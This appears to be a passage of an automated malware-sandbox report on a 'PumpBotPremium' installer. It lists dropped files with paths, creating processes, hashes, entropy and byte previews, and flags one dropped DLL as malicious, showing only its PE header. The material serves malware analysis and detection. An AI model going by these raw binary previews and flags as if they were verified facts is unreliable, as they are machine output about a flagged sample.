                                                                                                                                                                                                                                                SSDEEP:12288:OuYFjg26D559YpR0FeANNnJuXtmy6/EJg3LQxPmJPsJZTPt55dkHawNf:OhgzVNngEyOE+3LkuJkJ9155dkHawNf
                                                                                                                                                                                                                                                MD5:16427FA171BD703839D252C580C42CD0
                                                                                                                                                                                                                                                SHA1:268EC6C390D5FBA3AF0D3CA55ECFC65D9E232906
                                                                                                                                                                                                                                                SHA-256:1E84A4DA22CB64AB037AFA6CA184E080463DD870D6DB2F42DDA2414FD2311CAF
                                                                                                                                                                                                                                                SHA-512:52E2B47B6F461D85A689243C89C91151CD643952CD64FA0EFB00522A4DE3D4FFEFD09ADBEB524ED664B9DA0FD141EBCD5A12D780DEBD79741626183AE837C77C
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................k...x.....x...........x........................................I.....!..........Rich...........PE..L....+Jd.........."!...#............k~....................................... ............@......................... M......<N..........h...............@=.......n..h@..p....................A..........@....................J..@....................text...l........................... ..`.rdata.."b.......d..................@..@.data....'...p.......N..............@....rsrc...h............d..............@..@.reloc...n.......p...j..............@..B........................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Installer\MSI7D93.tmp

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):2227
                                                                                                                                                                                                                                                Entropy (8bit):5.7404077634056865
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:czKRC/8zSAj+fijYD8S+XaZeqanlgbn17cgBCZRBip:c2u6SaoWw4keH6b5cgB8r+
                                                                                                                                                                                                                                                MD5:EA02CD2F22AB98B869ED09F73697BAEB
                                                                                                                                                                                                                                                SHA1:CAFA59C1EF7BB67D42A37D532568A5F37F4FEB4D
                                                                                                                                                                                                                                                SHA-256:EA27FD35BC4E02102292F26AC1DE0BBA332666EDDEC9521314B5FE02FB93FA74
                                                                                                                                                                                                                                                SHA-512:51222211DE181DC74EC2AF904D6A7EA0B88099638D2C8F6CD6B52AB2E0FB257AD3A203893885AC0264D51D05FBF3F5AAACD7F917104F80A96DCA469FF276D0F1
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:...@IXOS.@.....@..^Y.@.....@.....@.....@.....@.....@......&.{26BCD435-D353-42A0-8C43-818FC0FA354F}..PumpBotPremium..PumpBotPremium.msi.@.....@.....@.....@........&.{7FFEF896-5843-4272-ACBA-A4977C267D92}.....@.....@.....@.....@.......@.....@.....@.......@......PumpBotPremium......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{90615BD6-7F96-483E-9146-350C31DE947E}1.C:\Program Files (x86)\Coinsw.app\PumpBotPremium\.@.......@.....@.....@......&.{517BF6FB-31C5-4EEA-993C-02A1296FF8EB}..02:\Software\Coinsw.app\PumpBotPremium\Version.@.......@.....@.....@......&.{DF9A949B-1C3B-4A84-A210-70F3FFF5F910}p.02:\Software\Caphyon\Advanced Installer\Prereqs\{26BCD435-D353-42A0-8C43-818FC0FA354F}\1.0.0\BlockchainConnector.@.......@.....@.....@........CreateFolders..Creating folders..Folder: [1]".1.C:\Program Files (x86)\Coinsw.app\PumpBotPremium\.@........WriteRegistryValues

                                                                                                                                                                                                                                                C:\Windows\Installer\MSI8554.tmp

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):726848
                                                                                                                                                                                                                                                Entropy (8bit):6.456117102365696
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:OuYFjg26D559YpR0FeANNnJuXtmy6/EJg3LQxPmJPsJZTPt55dkHawNf:OhgzVNngEyOE+3LkuJkJ9155dkHawNf
                                                                                                                                                                                                                                                MD5:16427FA171BD703839D252C580C42CD0
                                                                                                                                                                                                                                                SHA1:268EC6C390D5FBA3AF0D3CA55ECFC65D9E232906
                                                                                                                                                                                                                                                SHA-256:1E84A4DA22CB64AB037AFA6CA184E080463DD870D6DB2F42DDA2414FD2311CAF
                                                                                                                                                                                                                                                SHA-512:52E2B47B6F461D85A689243C89C91151CD643952CD64FA0EFB00522A4DE3D4FFEFD09ADBEB524ED664B9DA0FD141EBCD5A12D780DEBD79741626183AE837C77C
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................k...x.....x...........x........................................I.....!..........Rich...........PE..L....+Jd.........."!...#............k~....................................... ............@......................... M......<N..........h...............@=.......n..h@..p....................A..........@....................J..@....................text...l........................... ..`.rdata.."b.......d..................@..@.data....'...p.......N..............@....rsrc...h............d..............@..@.reloc...n.......p...j..............@..B........................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Installer\MSI8CB8.tmp

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):542
                                                                                                                                                                                                                                                Entropy (8bit):5.235530518222276
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12:Eg6TBxVVlFydR1cj//dddftEkrrrHzZxSl:iTBxDLmRCjzQkXpxW
                                                                                                                                                                                                                                                MD5:D2AF651F35850C56B2F62D4B0076F433
                                                                                                                                                                                                                                                SHA1:46722155645FB03F27B18964C60146020B29EC65
                                                                                                                                                                                                                                                SHA-256:BFA6D1786CD517518FECCA2459C397B159D7BABB756EB944D539761CCE24F689
                                                                                                                                                                                                                                                SHA-512:C66D8F92518852B70E9472D368CA9641739ECBD49499FBDC393049A4795EDE50CBD1B05B3022F9814F48498AE600F22DE35DBB243DA4502C6F3476D2320BCF59
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:...@IXOS.@.....@..^Y.@.....@.....@.....@.....@.....@......&.{26BCD435-D353-42A0-8C43-818FC0FA354F}..PumpBotPremium..PumpBotPremium.msi.@.....@.....@.....@........&.{7FFEF896-5843-4272-ACBA-A4977C267D92}.....@.....@.....@.....@.......@.....@.....@.......@......PumpBotPremium......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........AI_LaunchChainer....J...AI_LaunchChainer.@....[.C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe...@.....@.....@....

                                                                                                                                                                                                                                                C:\Windows\Installer\SourceHash{26BCD435-D353-42A0-8C43-818FC0FA354F}

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):20480
                                                                                                                                                                                                                                                Entropy (8bit):1.1658211416534288
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12:JSbX72Fj4AGiLIlHVRpFh/7777777777777777777777777vDHFHIAdh6lLql0i5:JeQI5ByAdIZF
                                                                                                                                                                                                                                                MD5:FAD7554DEABFDBEE29EBDE47ACAF23B7
                                                                                                                                                                                                                                                SHA1:4C1C1ECA731BD220D9F38BB2CBD01BD14562ADC0
                                                                                                                                                                                                                                                SHA-256:A566DB542CEFCF52742459215513DF194E7A497C18C88B7F2BE70F09A3CA0746
                                                                                                                                                                                                                                                SHA-512:9284138C13284E7941B93F36A482691C6EA1103167E764C1FB168BCEF77E3108BDDDCE8F9A71BA868EDA79C9DED5FADB3A82A40DACE09CD70E486BBC91C2B25D
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Installer\inprogressinstallinfo.ipi

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):20480
                                                                                                                                                                                                                                                Entropy (8bit):1.5369349390309766
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:G8Ph8uRc06WXJMFT5ylW/w40lZUdQ0SkdQ+AEkrCyFxoldQ0SkdQEPbxI:Zh81vFTUn4c6QRCv3xI
                                                                                                                                                                                                                                                MD5:9B6CEF056EA4B4ED2F87996CA694F72F
                                                                                                                                                                                                                                                SHA1:B6688CA463B8E65E42D0157DC839837BA972F1C2
                                                                                                                                                                                                                                                SHA-256:4A07078A6CE785043206957FB50AA52503135D2D4E5B5E4C6FDE959814BDD016
                                                                                                                                                                                                                                                SHA-512:C433C422B8E95140E267B3216AB844A4438225CD254D048B52ABF3677CECD53F21188D63015AADF0DF7ECD7738DB8A63DB26AC7D77A36D76BF1641131F9C2356
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):432221
                                                                                                                                                                                                                                                Entropy (8bit):5.375162626297012
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgau/:zTtbmkExhMJCIpErS
                                                                                                                                                                                                                                                MD5:0330E76C02D07A423B46CD51985DAF64
                                                                                                                                                                                                                                                SHA1:AF44870F926D394B298EDDE30371E05F6A8E815A
                                                                                                                                                                                                                                                SHA-256:AE1124BB81234F446524D3E162B7E01FC994AFD30264BBA5A7ED9BD23CB33626
                                                                                                                                                                                                                                                SHA-512:3702612D53E071288CDEDB61C627B9BB8174664B7EB6559461F72ED9DDE629381BE07796D717E358840E59FFCB46472EEB584B47C106B8FF1585427EAAB8623D
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

                                                                                                                                                                                                                                                C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07A7CCFBD28A674D95D3BF853C9007C6

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):3676
                                                                                                                                                                                                                                                Entropy (8bit):6.347211948497124
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:5APuDaTZZ7TFszwRMVs2UYrram6mt0u17vxxNFBuweqNKlMVCbHnwvN4y9v0vqv4:NDEZNFs4Yi4tp1b9teq0ECbyrq2mRJv
                                                                                                                                                                                                                                                MD5:2C3719839A68C559738D560BD17E99E2
                                                                                                                                                                                                                                                SHA1:4C911C0E95E0991DE4489408BFDA4529A7DD4929
                                                                                                                                                                                                                                                SHA-256:646861640AE8979B3EFA4DCE99D6CD4A96164C251A7CC4254A936E1F370BD10F
                                                                                                                                                                                                                                                SHA-512:EF4A47BF9E64D701747BD0BC64671442CE0D3186D14F87C6458B33820F8070D6D5BE99905B91EBA2428DCF6799E7F6EB984EB1F73B6FC20D2FEB8A82F9D579A1
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:0..X0..@...0...*.H........0Z1.0...U....US1.0...U....Microsoft Corporation1+0)..U..."Microsoft ID Verified CS AOC CA 01..241030181308Z..241107183308Z0..N02..3...&.....>.....&..241019020741Z0.0...U.......02..3....Y.2............241008025714Z0.0...U.......02..3....y.(.j.E.........241006030834Z0.0...U.......02..3....... ............241004031956Z0.0...U.......02..3......<...........241002033118Z0.0...U.......02..3....!..>^...........241001033711Z0.0...U.......02..3........u..........240924041707Z0.0...U.......02..3...5..S...;.....5..240920044003Z0.0...U.......02..3...*.K.8.......*..240919043443Z0.0...U.......02..3..}....%.?r....}...240915024003Z0.0...U.......02..3..qF.N .........qF..240905033813Z0.0...U.......0$..3..q....G.'......q...240904233037Z02..3..j......u......j...240830041742Z0.0...U.......02..3..h..q...o....h...240829042339Z0.0...U.......02..3..h.i...{.......h...240828234907Z0.0...U.......02..3..g.)...A.......g...240828042937Z0.0...U.......02..3..d.U.f:`......d...24082

                                                                                                                                                                                                                                                C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77003E887FC21E505B9E28CBA30E18ED_8ACE642DC0A43382FABA7AE806561A50

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):2681
                                                                                                                                                                                                                                                Entropy (8bit):7.618663027493734
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:yqNUFx1gQZmMjh//4euDhJjnuPSPe9iNI3WowFzVDlAv5p+Aj5oKeSHdct:yHFx13ZJjJgnDhJLuANN9m5IO5oKeSs
                                                                                                                                                                                                                                                MD5:5FA012BCA671C7617DCF5195C7FDD489
                                                                                                                                                                                                                                                SHA1:3D21596B39D0209AC95DDC421B70132715B8F129
                                                                                                                                                                                                                                                SHA-256:F772D70FACADF8134825484C9340A50B4EA706FF5EED09C1363B5CF5E1A1D6CB
                                                                                                                                                                                                                                                SHA-512:876DDCCF1432B18596AD9085C7B1BB7F657EEACF2244DED6DEBD498DB7BDFA80928498399AC632E49EA30161FA9716FBB31272497E9DEB2C9669B2C31362E599
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:0..u......n0..j..+.....0.....[0..W0..............w...^..6.P..20241026213012Z0..0..0L0...+..............wzb......Z..7...~.j.*......'.P.Oh....3......4.{.............20240903182619Z....20241203064619Z. 0.0...+.....7......241202183619Z0...*.H.................)...u...qa...^.*.]..J..:..y.hS...9..2...m..o.Au..^.."0...(..p....Jq.....L>.Z.g.[y.....b.....'Y..Z:.8...d"...vl.W.%.-.M]n...e\...$..[..p..w.IlB........X.yn.;a.m-..P.r.t'.....:@.............V......?#"]..i..O.......}J....H.X.........iB_.C....$....3..l8...\qE.....d.-...G.s......b......h.u.....x._....m..@..O.QV?v..W........=y..c.......OA.u.&.....7....g...sP.......y...FK.<pj]@m...+.q.....ks&..I./.8.M.....hh...5../.....g..2}.}A*.Z,R.6h<......w2.Q_H..Az..........e........Y..U....+n......w0..s0..o0..W.......3.......`.".W......0...*.H........0w1.0...U....US1.0...U....Microsoft Corporation1H0F..U...?Microsoft Identity Verification Root Certificate Authority 20200...240814185829Z..250214185829Z0w1.0...U....US1.0...U..

                                                                                                                                                                                                                                                C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\86844F70250DD8EF225D6B4178798C21_44AD5D0C299F1D4EE038B125B5E5863A

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):2629
                                                                                                                                                                                                                                                Entropy (8bit):7.603576801902435
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:sFMxLaAnk9uDjRqnuN7WXvJZRhyFlDqcAvJAjDKW1yjZ7L+DVXKCm:sFeaUNDjRIuNSXRtcmJODKsylL+DVXZm
                                                                                                                                                                                                                                                MD5:B840A82029ADA1C29A20CE8C2EA68E55
                                                                                                                                                                                                                                                SHA1:90E0AE35FB1240DD14A144E8A4C7796760F40746
                                                                                                                                                                                                                                                SHA-256:651FF994F3A8E83365FF038223EC12E2E48A82EFCC391249912CC7417F3E6D3D
                                                                                                                                                                                                                                                SHA-512:F7E8EF340794667DA4A68C22657076158107B5D1E1A0BFEE7A6A4E045D2B6345C502443E1E8FC8166CEC7103C95BCA41CF4D89C0CC46DA1363E9A2EF376CC162
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:0..A......:0..6..+.....0.....'0..#0..........b.)..u..(..$..;..20241026213030Z0..0..0L0...+.........A..HNF;.ZEW..}...@...A)...cl.i...)..Hj0...3....7.[..[............20241014201231Z....20250113083231Z. 0.0...+.....7......250112202231Z0...*.H................m..n...P......#.j-c...].._....s.LA=..b.F.,e.bd....j.q$n.A../.\..4s.....Zcm\....D+~_6..q....Uf...K.T.\.y9.e$~C...Wq{....4S....n.b........m^Q.0.......pPr.Y.3....|..s.7.Y.Yp.|.\.)3..Dh;.o3.7..6.?...Y.C...)...#.3....<...rN....T.=.s....T......y....(..........'.k..............-..S..,.oq%..jKSt.{].......5.....$._.!=.R.6M&..k.....9>..g.....x.HEk..k"......c.3.@|.......\.?....X..I..U.n):.+.S.N^Haw..r..^..w2...lR.".........KA..WI.;"...L@^..R..+..2'...]..1...4..rl...T..~..+'C.r..+...R......^H.:...C0..?0..;0..#.......3..........7......0...*.H........0c1.0...U....US1.0...U....Microsoft Corporation1402..U...+Microsoft ID Verified Code Signing PCA 20210...240814191417Z..250214191417Z0..1.0...U....US1.0...U....WA1.0...U....Redm

                                                                                                                                                                                                                                                C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94D97B1EC1F43DD6ED4FE7AB95E144BC_939EA6CA157B394821E4828989A41A02

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):2019
                                                                                                                                                                                                                                                Entropy (8bit):7.463800110661284
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:48:kBa0diQ0d/ePuDaTZbNuuOYWAqnJyXhYzOAvz1AjshqJD92eqa3XnU:NblZDEZputPAqUXVmz1OsEJJXnU
                                                                                                                                                                                                                                                MD5:DD836BEE918E0C7146535B5458036E23
                                                                                                                                                                                                                                                SHA1:77B78118046565651EBF2E37DD87AA1B12906F42
                                                                                                                                                                                                                                                SHA-256:3A632801AEAAB2D86EC5E353A74679568D6548E2DCF48B6477A473192E8F582F
                                                                                                                                                                                                                                                SHA-512:F4FF076EC088F26299B1CAC35F323C5A98DEEFBC88EF08EEB9C8D6E64AE95F05312A46A796400F90820E02249257EBED9E1851333FF194B9F3F89EDE9C7E3B38
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:0..........0.....+.....0......0...0.........d.>....9I.+.....20241027004941Z0..0..0L0...+........A..T.S'..M*...$..ng....3....v......^X...3...w....V].L.....w....20241026221308Z....20241101155013Z. 0.0...+.....7......241030222308Z0...*.H.................h...Ka.X.......9<..".T....7..t..............y.e'7...f.g..A.V...K.w.{.....}....'k...{Er...c...k.......q$....J..\N.x4....H.....q^TD..~QT...E.=....1.O..<.{..E........l....=y=...m(.H.t>.m....].i`!.y.......,..Z.!.l.u9.mKL....FW}.|#/.G....-"...Ho......0...0...0.........3........\.......0...*.H........0Z1.0...U....US1.0...U....Microsoft Corporation1+0)..U..."Microsoft ID Verified CS AOC CA 010...241025155013Z..241101155013Z0^1.0...U....MSIDAOC01 OCSP Cert1.0...U....Microsoft1.0...U....Redmond1.0...U....WA1.0...U....US0.."0...*.H.............0.................pK.,<.2..q6...........3.o.r.6....?.'..8..z.JY..s....R.....a...i.?P..@.Q.@C...e....U..ZE..f$`Xc...u.g.~.9....2.w......7.j..L......8..P:Z..H.H.7_C.t.f...%...)....y

                                                                                                                                                                                                                                                C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07A7CCFBD28A674D95D3BF853C9007C6

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):290
                                                                                                                                                                                                                                                Entropy (8bit):3.0496826659431306
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:kkFkl9/XfllXlE/sqe++stlt1DRjdClRRly+MlMTlPNylRal1VdlV0lQWKAX4Vh0:kK83klLB7WTlpl19ml5o8lAKj
                                                                                                                                                                                                                                                MD5:45F9417F993E5862006674311913AFD0
                                                                                                                                                                                                                                                SHA1:DABFB28EF11C0099A75C58B284B32408F5E154CC
                                                                                                                                                                                                                                                SHA-256:CEBD12677660E3396E1588B1E700C4DE18878F0C4EFC92F37D7AFCD5E0317C14
                                                                                                                                                                                                                                                SHA-512:86C263ACF744BAF0D3143141E0361458E63A4A650A103813DD98099E450FC89C8DD26279774E9A9CDC93394F351A76518EDB2BE31FCB1EC69A5F5F3EB2E65A83
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:p...... .........r..+..(....................................................... ..........{.*..................\...h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.p.k.i.o.p.s./.c.r.l./.M.i.c.r.o.s.o.f.t.%.2.0.I.D.%.2.0.V.e.r.i.f.i.e.d.%.2.0.C.S.%.2.0.A.O.C.%.2.0.C.A.%.2.0.0.1...c.r.l...

                                                                                                                                                                                                                                                C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77003E887FC21E505B9E28CBA30E18ED_8ACE642DC0A43382FABA7AE806561A50

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):556
                                                                                                                                                                                                                                                Entropy (8bit):4.071739108223117
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12:mJMlzcWuxlX9ysFuuPtuRaoKpRcYlQKlUEoWqDll:mJdWuxlX9VkuVu4oKRZltG5l
                                                                                                                                                                                                                                                MD5:54467B72016AD80A933F7F69272A8003
                                                                                                                                                                                                                                                SHA1:4D5DAF779C99FDAA1B2A576624CFE2D819E60466
                                                                                                                                                                                                                                                SHA-256:0EBEFCCA825764BAD476F1B018D25810B7C461465DE5D8DEEEFDD791927A94B9
                                                                                                                                                                                                                                                SHA-512:906C5C7AE75D6C01B7B5AFEBA552A7DDF74B2E87E1241343837685A50E80004A553D9FEFD777769EA5D6CB5DCFDBCAE2762F3E4186F3135C3788C2AD798B0EC9
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:p...... ....2.....s.+..(...........................OE.......D..............OE.. ...........:'...Q..............y...h.t.t.p.:././.o.n.e.o.c.s.p...m.i.c.r.o.s.o.f.t...c.o.m./.o.c.s.p./.M.F.Q.w.U.j.B.Q.M.E.4.w.T.D.A.J.B.g.U.r.D.g.M.C.G.g.U.A.B.B.T.D.H.s.f.u.q.f.u.b.d.3.p.i.h.v.q.4.m.g.Q.V.W.g.H.W.N.w.Q.U.y.H.7.S.a.o.U.q.G.8.o.Z.m.A.Q.H.J.8.9.Q.E.E.9.o.q.K.I.C.E.z.M.A.A.A.A.H.h.6.M.0.o.3.u.l.j.h.w.A.A.A.A.A.A.A.c.%.3.D...".0.2.0.2.b.1.0.a.b.8.e.4.3.a.4.0.9.5.5.c.2.8.0.0.6.c.1.7.e.1.6.5.e.7.e.5.7.d.0.b.f.f.b.0.2.b.2.a.0.3.f.d.a.7.9.a.0.6.8.c.c.5.b.d."...

                                                                                                                                                                                                                                                C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\86844F70250DD8EF225D6B4178798C21_44AD5D0C299F1D4EE038B125B5E5863A

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):560
                                                                                                                                                                                                                                                Entropy (8bit):4.054787545028411
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12:OblMlyMcWuxlX9ysFPH+ee+lHRoW+iZGf3sb2WEI/Tg3N:OblZPWuxlX9Va+lHdI3sb2WEI/TI
                                                                                                                                                                                                                                                MD5:2DAD59D98A049D64E85637ED3C46071E
                                                                                                                                                                                                                                                SHA1:0943145613BD9483B8CC26A7B7987A46114E8AD2
                                                                                                                                                                                                                                                SHA-256:FCC88A850AE55B338D40FD3BFDE8FA59E6F2FCC0141D513D77BF1F310CBA125E
                                                                                                                                                                                                                                                SHA-512:E4E8AF092A243F1AD379B96F642DA54DBCF92CAD50CFB18830A0741D05A2B360A8BFB1C7A66EB3F68766315075C77225870D251366668896333E355C556E583F
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:p...... ....6.....u..+..(..................fu....y...e...../e...........y...e.. ...........:'...Q..............E...h.t.t.p.:././.o.n.e.o.c.s.p...m.i.c.r.o.s.o.f.t...c.o.m./.o.c.s.p./.M.F.Q.w.U.j.B.Q.M.E.4.w.T.D.A.J.B.g.U.r.D.g.M.C.G.g.U.A.B.B.T.O.Q.Y.L.F.S.E.5.G.O.%.2.F.p.a.R.V.f.Y.u.7.d.9.g.Z.E.b.Q.A.Q.U.2.U.E.p.s.A.8.P.Y.2.z.v.a.d.f.1.z.S.m.e.p.E.h.q.M.O.Y.C.E.z.M.A.A.A.A.H.N.4.x.b.o.d.l.b.j.N.Q.A.A.A.A.A.A.A.c.%.3.D...".c.f.8.f.b.b.0.1.3.2.5.0.0.0.4.6.e.e.d.1.8.5.9.6.0.d.5.b.8.0.a.7.0.a.0.c.3.0.f.a.f.1.0.4.4.9.a.e.3.7.e.1.e.3.9.7.2.b.f.e.c.e.7.8."...

                                                                                                                                                                                                                                                C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94D97B1EC1F43DD6ED4FE7AB95E144BC_939EA6CA157B394821E4828989A41A02

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):556
                                                                                                                                                                                                                                                Entropy (8bit):3.611632656907546
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12:XhHlPXLqcWuxlX9ysF/n2v2+ZFLaNC7+RUoxuaXRmN:3L5WuxlX9V92O+Z5alRU8tX8N
                                                                                                                                                                                                                                                MD5:F0554417EDBBEA3F6B322DEEED8A49EE
                                                                                                                                                                                                                                                SHA1:95325A4ABE28B59EC0AC437F28D0BC017B8FF288
                                                                                                                                                                                                                                                SHA-256:4334D82B531E85823208D489DC4AE5A62A717A132FCCBC155C330D299FC2E0C7
                                                                                                                                                                                                                                                SHA-512:890D028BE665B65C00027596677C232695AD2AA0DCD986479DD1AAA752FF805A35D150EFC83ADA705A743ED9BD387614E19FDB79CC4348C44A1363ABDF917F14
                                                                                                                                                                                                                                                Malicious:false
